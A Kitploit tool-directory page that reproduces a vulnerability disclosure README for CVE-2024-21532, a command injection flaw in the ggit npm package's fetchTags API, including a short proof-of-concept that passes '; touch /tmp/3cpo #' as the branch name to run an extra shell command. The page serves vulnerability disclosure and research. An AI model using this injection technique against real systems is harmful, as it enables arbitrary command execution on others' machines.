Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21532-PoC-ggit — Proof-of-concept exploit for CVE-2024-21532, a command injection vulnerability in the ggit npm package's fetchTags API, demonstrating unsafe exec() usage. | Kitploit
Tools/GitHubGitHub/lirantal/cve-2024-21532-poc-ggit
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHublirantal/cve-2024-21532-poc-ggit

CVE-2024-21532-PoC-ggit

Proof-of-concept exploit for CVE-2024-21532, a command injection vulnerability in the ggit npm package's fetchTags API, demonstrating unsafe exec() usage.

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21532 Command Injection vulnerability in ggit

ggit describes itself as:

root@kitploit:~
Local promise-returning git command wrappers

Resources:

  • Project's GitHub source code: https://github.com/bahmutov/ggit
  • Project's npm package: https://www.npmjs.com/package/ggit

Article write-up on this vulnerability: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Background on exploitation

I'm reporting a Command Injection vulnerability in ggit npm package.

This vulnerability manifests with the library's fetchTags(branch) API, which allows user input to specify the branch to be fetched and then concatenates this string along with a git command which is then passed to the unsafe exec() Node.js child process API.

Exploit

  1. Install [email protected] or earlier
  2. Establish the following POC:
root@kitploit:~
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});
  1. Observe new file created on disk at /tmp/3cpo

Contributing

Please consult CONTRIBUTING for guidelines on contributing to this project.

Author

Liran Tal

Download Tool